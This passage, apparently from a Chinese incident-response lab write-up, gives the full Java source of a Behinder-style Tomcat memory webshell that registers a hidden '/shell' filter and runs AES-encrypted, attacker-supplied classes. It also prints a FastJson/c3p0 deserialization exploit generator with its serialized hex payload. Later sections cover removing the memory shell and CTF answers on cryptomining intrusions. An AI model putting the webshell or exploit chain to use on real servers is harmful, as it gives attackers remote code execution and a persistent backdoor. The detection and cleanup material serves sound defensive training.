cl.getClass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } else { Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); this.RushThere(Lclass, cl, session, request, pageContext); } filterChain.doFilter(servletRequest, servletResponse); } } public void destroy() { } public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) { byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"); try { Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); define.setAccessible(true); Class uclass = null; try { uclass = cl.loadClass("U"); } catch (ClassNotFoundException var18) { uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length); } Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); constructor.setAccessible(true); Object u = constructor.newInstance(this.getClass().getClassLoader()); Method Um = uclass.getDeclaredMethod("g", byte[].class); Um.setAccessible(true); String k = "3ad2fddfe8bad8e6"; session.setAttribute("u", k); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES")); byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine())); Class eclass = (Class)Um.invoke(u, eClassBytes); Object a = eclass.newInstance(); Method b = eclass.getDeclaredMethod("equals", Object.class); b.setAccessible(true); b.invoke(a, pageContext); } catch (Exception var19) { } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { String name = "AutomneGreet"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map)Configs.get(standardContext); if (filterConfigs.get("AutomneGreet") == null) { Filter filter = new IceShell(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName("AutomneGreet"); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/shell"); filterMap.setFilterName("AutomneGreet"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef); filterConfigs.put("AutomneGreet", filterConfig); } } catch (Exception var10) { } }}
8.内存马做好后结合c3p0链生成json,最终exp如下:
import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap; public class rce { public static void main(String[] args) throws Exception { String hex2 = bytesToHex(tobyteArray(gen())); String FJ1247 = "{\n" + " \"a\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.lang.Class\",\n" + " \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" + " },\n" + " \"b\":{\n" + " \"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" + " \"\\u0075\\u0073\\u0065\\u0072\\u004F\\u0076\\u0065\\u0072\\u0072\\u0069\\u0064\\u0065\\u0073\\u0041\\u0073\\u0053\\u0074\\u0072\\u0069\\u006E\\u0067\":\"HexAsciiSerializedMap:" + hex2 + ";\",\n" + " }\n" + "}\n"; System.out.println(FJ1247); } //FastJson原生反序列化加载恶意类字节码 public static Object gen() throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\Administrator\\Desktop\\untitled\\src\\main\\java\\IceShell.java")); //做好的冰蝎马地址,读取其中字节即可 setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "1"); setValue(templates, "_tfactory", null); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(templates,bd); return hashMap; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } //将类序列化为字节数组 public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); // return bao.toByteArray(); } //字节数组转十六进制 public static String bytesToHex(byte[] bytes) { StringBuffer stringBuffer = new StringBuffer(); for (int i = 0; i < bytes.length; i++) { String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255,&0xff: 保证得到的数据在0~255之间 if (hex.length()<2){ stringBuffer.append("0" + hex); //0-9 则在前面加‘0’,保证2位避免后面读取错误 }else { stringBuffer.append(hex); } } return stringBuffer.toString(); }}
9.加入tomcat和fastjson依赖,编译运行,得到一串json格式数据。
{ "a":{ "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class", "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" }, "b":{ "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067":"HexAsciiSerializedMap:aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d657400124c6a6176612f6c616e672f537472696e673b4c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b787000000000ffffffff757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000254acafebabe0000003401880a005e00cc0800cd09004b00ce0700cf0700d00b000400d10700d20a000700cc08007f0b004900d308007b08007d0a00d400d50a00d400d60b000400d70800d80a00d900da0a002400db0a001c00dc0a001c00dd0800de0a004b00df0b00e000e10a00e200e30800e40a00e500e60800e70700e80700a40900e900ea0a001c00eb0a00ec00ed0800ee0a002700ef0700f00700f10a00e900f20a00ec00f30700f40a001c00f50a00f600ed0a001c00f70a00f600f80800f908009d0b00fa00fb0800fc0a00fd00fe0700ff0a00d901000a003101010a00fd01020701030a003500cc0b000401040a010501060a003501070a00fd01080a001c010908010a07010b08010c07010d0a003f010e0b010f01100701110801120a001c01130800c90a001c01140a011500ed0a011501160701170b004901160701180a004b00cc0701190a004d00cc0a004d011a0a004d011b0a004d011c0a0042011d07011e0a005300cc08011f0a005301200a0053011b09012101220a012101230a005301240a0042012507012607012707012807012901000270610100124c6a6176612f6c616e672f537472696e673b01000d436f6e7374616e7456616c75650100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301000a4c4963655368656c6c3b010004696e697401001f284c6a617661782f736572766c65742f46696c746572436f6e6669673b295601000c66696c746572436f6e66696701001c4c6a617661782f736572766c65742f46696c746572436f6e6669673b01000a457863657074696f6e7307012a0100104d6574686f64506172616d6574657273010008646f46696c74657201005b284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b4c6a617661782f736572766c65742f46696c746572436861696e3b29560100064c636c6173730100114c6a6176612f6c616e672f436c6173733b01000e736572766c65745265717565737401001e4c6a617661782f736572766c65742f536572766c6574526571756573743b01000f736572766c6574526573706f6e736501001f4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b01000b66696c746572436861696e01001b4c6a617661782f736572766c65742f46696c746572436861696e3b010007726571756573740100274c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b010008726573706f6e73650100284c6a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73653b01000773657373696f6e0100204c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b01000b70616765436f6e7465787401000f4c6a6176612f7574696c2f4d61703b010002636c0100174c6a6176612f6c616e672f436c6173734c6f616465723b0100164c6f63616c5661726961626c65547970655461626c650100354c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b01000d537461636b4d61705461626c6507011807012b07012c07012d0700cf0700d007012e0701170700f40700e807012f01000764657374726f79010009527573685468657265010081284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703b295601000576617231380100224c6a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e3b010006646566696e6501001a4c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000675636c61737301000b636f6e7374727563746f7201001f4c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b010001750100124c6a6176612f6c616e672f4f626a6563743b010002556d0100016b010001630100154c6a617661782f63727970746f2f4369706865723b01000b65436c61737342797465730100025b4201000665636c617373010001610100016201000862797465636f64650701300700f007010b0100095369676e61747572650100a7284c6a6176612f6c616e672f436c6173733b4c6a6176612f6c616e672f436c6173734c6f616465723b4c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b4c6a617661782f736572766c65742f687474702f48747470536572766c6574526571756573743b4c6a6176612f7574696c2f4d61703c4c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b3e3b29560100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0701310100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b29560100086974657261746f720100354c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b01000768616e646c65720100414c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b0100083c636c696e69743e01000666696c7465720100164c6a617661782f736572766c65742f46696c7465723b01000966696c7465724465660100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b01000966696c7465724d61700100314c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b0100324c6f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e6669673b0100046e616d65010015776562617070436c6173734c6f61646572426173650100324c6f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173653b01000f7374616e64617264436f6e7465787401002a4c6f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578743b010007436f6e666967730100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000d66696c746572436f6e6669677301000a536f7572636546696c6501000d4963655368656c6c2e6a6176610c00630064010010336164326664646665386261643865360c006000610100256a617661782f736572766c65742f687474702f48747470536572766c6574526571756573740100266a617661782f736572766c65742f687474702f48747470536572766c6574526573706f6e73650c013201330100116a6176612f7574696c2f486173684d61700c013401350701360c013701380c0139013a0c013b013c010004504f535407013d0c010a013e0c013f01400c014101400c0142013c0100156a6176612e6c616e672e436c6173734c6f616465720c0094009507012d0c007101430701440c0145014801026479763636766741414144514147676f41424141554367414541425548414259484142634241415938615735706444344241426f6f54477068646d4576624746755a7939446247467a633078765957526c636a73705667454142454e765a4755424141394d6157356c546e5674596d5679564746696247554241424a4d62324e6862465a68636d6c68596d786c56474669624755424141523061476c7a415141445446553741514142597745414630787159585a684c327868626d63765132786863334e4d6232466b5a584937415141425a7745414653686251696c4d616d4632595339735957356e4c304e7359584e7a4f7745414157494241414a6251674541436c4e7664584a6a5a555a706247554241415a564c6d7068646d454d41415541426777414741415a415141425651454146577068646d4576624746755a7939446247467a633078765957526c636745414332526c5a6d6c755a554e7359584e7a415141584b46744353556b7054477068646d4576624746755a7939446247467a637a734149514144414151414141414141414941414141464141594141514148414141414f67414341414941414141474b6975334141477841414141416741494141414142674142414141414167414a4141414146674143414141414267414b4141734141414141414159414441414e414145414151414f41413841415141484141414150514145414149414141414a4b6973444b37363341414b7741414141416741494141414142674142414141414177414a4141414146674143414141414351414b414173414141414141416b4145414152414145414151415341414141416741540701490c014a014b01000b646566696e65436c61737301000f6a6176612f6c616e672f436c61737307014c0c014d00740c014e014f0701300c01500151010001550c015201530100206a6176612f6c616e672f436c6173734e6f74466f756e64457863657074696f6e0100106a6176612f6c616e672f4f626a6563740c015401550c015601570100156a6176612f6c616e672f436c6173734c6f616465720c0158015907015a0c015b013a0c015c015d0100016707012e0c015e015f0100034145530701600c0161016201001f6a617661782f63727970746f2f737065632f5365637265744b6579537065630c016301640c006301650c006a016601001673756e2f6d6973632f4241534536344465636f6465720c016701680701690c016a013c0c016b014b0c016c016d0c015c016e010006657175616c730100136a6176612f6c616e672f457863657074696f6e01000c4175746f6d6e6547726565740100306f72672f6170616368652f636174616c696e612f6c6f616465722f576562617070436c6173734c6f61646572426173650c016f01700701710c017201730100286f72672f6170616368652f636174616c696e612f636f72652f5374616e64617264436f6e746578740100286f72672e6170616368652e636174616c696e612e636f72652e5374616e64617264436f6e746578740c017401530c017501760701770c0178017901000d6a6176612f7574696c2f4d61700100084963655368656c6c01002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465660c017a017b0c017c017d0c017e017d0c017f018001002f6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61700100062f7368656c6c0c0181017d0701820c018301840c00c2013c0c0185017d0c018601870100306f72672f6170616368652f636174616c696e612f636f72652f4170706c69636174696f6e46696c746572436f6e66696701001b6f72672f6170616368652f636174616c696e612f436f6e74657874010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740100146a617661782f736572766c65742f46696c74657201001e6a617661782f736572766c65742f536572766c6574457863657074696f6e01001c6a617661782f736572766c65742f536572766c65745265717565737401001d6a617661782f736572766c65742f536572766c6574526573706f6e73650100196a617661782f736572766c65742f46696c746572436861696e01001e6a617661782f736572766c65742f687474702f4874747053657373696f6e0100136a6176612f696f2f494f457863657074696f6e0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e01000a67657453657373696f6e01002228294c6a617661782f736572766c65742f687474702f4874747053657373696f6e3b010003707574010038284c6a6176612f6c616e672f4f626a6563743b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010015676574436f6e74657874436c6173734c6f6164657201001928294c6a6176612f6c616e672f436c6173734c6f616465723b0100096765744d6574686f6401001428294c6a6176612f6c616e672f537472696e673b0100106a6176612f6c616e672f537472696e67010015284c6a6176612f6c616e672f4f626a6563743b295a010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b01000d6765745375706572636c6173730100076765744e616d65010040284c6a617661782f736572766c65742f536572766c6574526571756573743b4c6a617661782f736572766c65742f536572766c6574526573706f6e73653b29560100106a6176612f7574696c2f42617365363401000a6765744465636f6465720100074465636f64657201000c496e6e6572436c617373657301001c28294c6a6176612f7574696c2f426173653634244465636f6465723b0100186a6176612f7574696c2f426173653634244465636f6465720100066465636f6465010016284c6a6176612f6c616e672f537472696e673b295b420100116a6176612f6c616e672f496e7465676572010004545950450100116765744465636c617265644d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b01000d73657441636365737369626c65010004285a29560100096c6f6164436c617373010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b01000776616c75654f660100162849294c6a6176612f6c616e672f496e74656765723b010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100166765744465636c61726564436f6e7374727563746f72010033285b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f723b01001d6a6176612f6c616e672f7265666c6563742f436f6e7374727563746f7201000e676574436c6173734c6f6164657201000b6e6577496e7374616e6365010027285b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000c736574417474726962757465010027284c6a6176612f6c616e672f537472696e673b4c6a6176612f6c616e672f4f626a6563743b29560100136a617661782f63727970746f2f43697068657201000b676574496e7374616e6365010029284c6a6176612f6c616e672f537472696e673b294c6a617661782f63727970746f2f4369706865723b010008676574427974657301000428295b42010017285b424c6a6176612f6c616e672f537472696e673b295601001728494c6a6176612f73656375726974792f4b65793b295601000967657452656164657201001a28294c6a6176612f696f2f42756666657265645265616465723b0100166a6176612f696f2f4275666665726564526561646572010008726561644c696e6501000c6465636f6465427566666572010007646f46696e616c010006285b42295b4201001428294c6a6176612f6c616e672f4f626a6563743b01000c6765745265736f757263657301002728294c6f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f743b0100236f72672f6170616368652f636174616c696e612f5765625265736f75726365526f6f7401000a676574436f6e7465787401001f28294c6f72672f6170616368652f636174616c696e612f436f6e746578743b010007666f724e616d650100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c64010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b01000973657446696c746572010019284c6a617661782f736572766c65742f46696c7465723b295601000d73657446696c7465724e616d65010015284c6a6176612f6c616e672f537472696e673b295601000e73657446696c746572436c61737301000c61646446696c746572446566010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724465663b295601000d61646455524c5061747465726e01001c6a617661782f736572766c65742f44697370617463686572547970650100075245515545535401001e4c6a617661782f736572766c65742f44697370617463686572547970653b01000d7365744469737061746368657201001261646446696c7465724d61704265666f7265010034284c6f72672f6170616368652f746f6d6361742f7574696c2f64657363726970746f722f7765622f46696c7465724d61703b29560021004b005e0001005f0001001200600061000100620000000200020008000100630064000100650000003d000200010000000b2ab700012a1202b50003b10000000200660000000e00030000002900040027000a002a00670000000c00010000000b0068006900000001006a006b00030065000000350000000200000001b10000000200660000000600010000002d00670000001600020000000100680069000000000001006c006d0001006e000000040001006f00700000000501006c000000010071007200030065000003180006000a000001ab2bc000043a042cc000053a051904b9000601003a06bb000759b700083a07190712091906b9000a0300571907120b1904b9000a0300571907120c1905b9000a030057b8000db6000e3a081904b9000f01001210b600119901541908b60012b60013b600141215b6001199001e1908b60012b600133a092a19091908190619041907b60016a7011e1908b60012b60013b60013b600141215b600119900211908b60012b60013b600133a092a19091908190619041907b60016a700ea1908b60012b60013b60013b60013b600141215b600119900241908b60012b60013b60013b600133a092a19091908190619041907b60016a700b01908b60012b60013b60013b60013b60013b600141215b600119900271908b60012b60013b60013b60013b600133a092a19091908190619041907b60016a700701908b60012b60013b60013b60013b60013b60013b600141215b6001199002a1908b60012b60013b60013b60013b60013b600133a092a19091908190619041907b60016a7002a1908b60012b60013b60013b60013b60013b60013b600133a092a19091908190619041907b600162d2b2cb900170300b100000004006600000072001c0000003000060031000c003200150033001e0034002a00350036003600420037004a00380059003a006c003b0076003c0087003d009d003e00aa003f00bb004000d4004100e4004200f5004301110044012400450135004601540047016a0048017b004a0194004b01a2004e01aa0051006700000098000f0076001100730074000900aa001100730074000900e4001100730074000901240011007300740009016a001100730074000901940016007300740009000001ab006800690000000001ab007500760001000001ab007700780002000001ab0079007a0003000601a5007b007c0004000c019f007d007e000500150196007f00800006001e018d008100820007004a016100830084000800850000000c0001001e018d0081008600070087000000330007ff0087000907008807008907008a07008b07008c07008d07008e07008f070090000033393ffb0045fc0026070091fa0007006e0000000600020092006f00700000000d03007500000077000000790000000100930064000100650000002b0000000100000001b10000000200660000000600010000005400670000000c00010000000100680069000000010094009500030065000002e50006001200000133b800181219b6001a3a062b121b06bd001c5903121d535904b2001e535905b2001e53b6001f3a07190704b60020013a082c1221b600223a08a700293a0919072c06bd00245903190653590403b800255359051906beb8002553b60026c0001c3a08190804bd001c5903122753b600283a09190904b60029190904bd002459032ab60012b6002a53b6002b3a0a1908122c04bd001c5903121d53b6001f3a0b190b04b6002012023a0c2d122d190cb9002e0300122fb800303a0d190d05bb003159190cb60032122fb70033b60034190dbb003559b700361904b900370100b60038b60039b6003a3a0e190b190a04bd00245903190e53b60026c0001c3a0f190fb6003b3a10190f123c04bd001c5903122453b6001f3a11191104b600201911191004bd00245903190553b6002657a700053a07b1000200300038003b0023000a012d0130003d000400660000006a001a00000057000a005a0027005b002d005c0030005f00380062003b0060003d0061006100640071006500770066008c0067009e006800a4006900a8006a00b2006b00b9006c00cd006d00e8006e00fd006f0104007001160071011c0072012d007401300073013200750067000000c00013003d002400960097000900270106009800990007003000fd009a00740008007100bc009b009c0009008c00a1009d009e000a009e008f009f0099000b00a8008500a00061000c00b9007400a100a2000d00e8004500a300a4000e00fd003000a50074000f0104002900a6009e00100116001700a70099001100000133006800690000000001330073007400010000013300830084000200000133007f0080000300000133007b007c000400000133008100820005000a012900a800a4000600850000000c0001000001330081008600050087000000480004ff003b000907008807009107009007008e07008c07008f07001d0700a907009100010700aa25ff00ce000707008807009107009007008e07008c07008f07001d00010700ab01007000000015050073000000830000007f0000007b00000081000000ac0000000200ad000100ae00af000300650000003f0000000300000001b1000000020066000000060001000000780067000000200003000000010068006900000000000100b000b100010000000100b200b30002006e00000004000100b40070000000090200b0000000b20000000100ae00b500030065000000490000000400000001b10000000200660000000600010000007b00670000002a0004000000010068006900000000000100b000b100010000000100b600b700020000000100b800b90003006e00000004000100b400700000000d0300b0000000b6000000b80000000800ba006400010065000001da0005000a000000de123e4bb8000db6000ec0003f4c2bb60040b900410100c000424d1243b800441245b600464e2d04b600472d2cb60048c000493a041904123eb9004a0200c7009cbb004b59b7004c3a05bb004d59b7004e3a0619061905b6004f1906123eb6005019061905b60012b60014b600512c1906b60052bb005359b700543a0719071255b600561907123eb600571907b20058b60059b6005a2c1907b6005b125c05bd001c5903125d535904124d53b600283a08190804b60029190805bd002459032c535904190653b6002bc0005c3a091904123e1909b9000a030057a700044bb10001000000d900dc003d000300660000006600190000007f00030080000d0081001a008200250083002a008400340085004000860049008700520088005900890060008a006d008b0073008c007c008d0083008e008a008f00950090009b009100b0009200b6009300cd009400d9009700dc009600dd0099006700000066000a0049009000bb00bc00050052008700bd00be0006007c005d00bf00c0000700b00029009b009c000800cd000c006c00c10009000300d600c200610000000d00cc00c300c40001001a00bf00c500c60002002500b400c700c80003003400a500c90082000400870000000a0003fb00d9420700ab00000200ca0000000200cb01470000000a000100e500e201460009707400013170770100787372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d65737361676571007e00055b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0014707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000027372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000002774000454657374740009546573742e6a61766174000367656e7371007e00170000000f71007e001971007e001a7400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00137872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e0023787372001e636f6d2e616c69626162612e666173746a736f6e2e4a534f4e417272617900000000000000010200014c00046c69737471007e001378707371007e00220000000177040000000171007e00077878;", }}
10、同样对@type字段unicode编码,注入内存马。
11、成功连接注入的内存马
12、直接冰蝎命令执行查看内核版本
查杀内存马
1.冰蝎修改root密码,ssh登录上去,上传即将用到的两个文件cop.jar和arthas-boot.jarcop.jararthas
2、使用cop.jar将java内存拷贝出来并打包
3、使用d盾、河马等软件自动找到内存马文件
4、修改可疑文件中的冰蝎密钥,并重新编译(也可以修改其他地方,确保文件无法利用或无危害即可)
5、上传编译后的文件IceShell.class,使用arthas热更新该文件。若未配置java环境变量,使用find / -name java 找到java路径即可。
6、用之前的密钥冰蝎连接失败,用修改后的密钥冰蝎连接成功。
后门查杀
如图清除即可。
第九章-algo挖矿
1、通过本地 PC SSH 到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交
cat /var/log/auth.log.1
2、通过本地 PC SSH 到服务器并且分析黑客挖矿程序反链 IP 为多少,将黑客挖矿程序反链的 IP 作为 FLAG 提交
一般在计划任务 cat /var/spool/cron/crontabs/root 可以找到挖矿木马,运行后通过查看进程的pid来确定反链ip
3、通过本地 PC SSH 到服务器并且分析黑客权限维持文件的 md5, 将文件的 MD5 (md5sum /file) 作为 FLAG 提交
通过分析认为做了维权的就是上面那个定时任务
4、通过本地 PC SSH 到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交
先看passwd 如果没有就考虑看密钥里是否保存用户信息
第九章-kswapd0挖矿
通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;
直接使用命令last查看历史登入记录
flag: flag{183.164.3.252}
通过本地 PC SSH到服务器并且分析黑客的用户名为什么,将黑客的用户名作为 FLAG 提交;
用户名在authorized_keys私钥文件里面可见
flag:flag{mdrfckr}
通过本地 PC SSH到服务器并且分析黑客权限维持文件的md5,将文件的 MD5(md5sum /file) 作为 FLAG 提交;
直接输入crontab -e查看定时任务
会发现写入了一些初始文件解压后的内容,于是猜测权限维持的手段就是定时任务,其实刚刚的那个ssh私钥也是,这不是这个是另外一个问题的答案
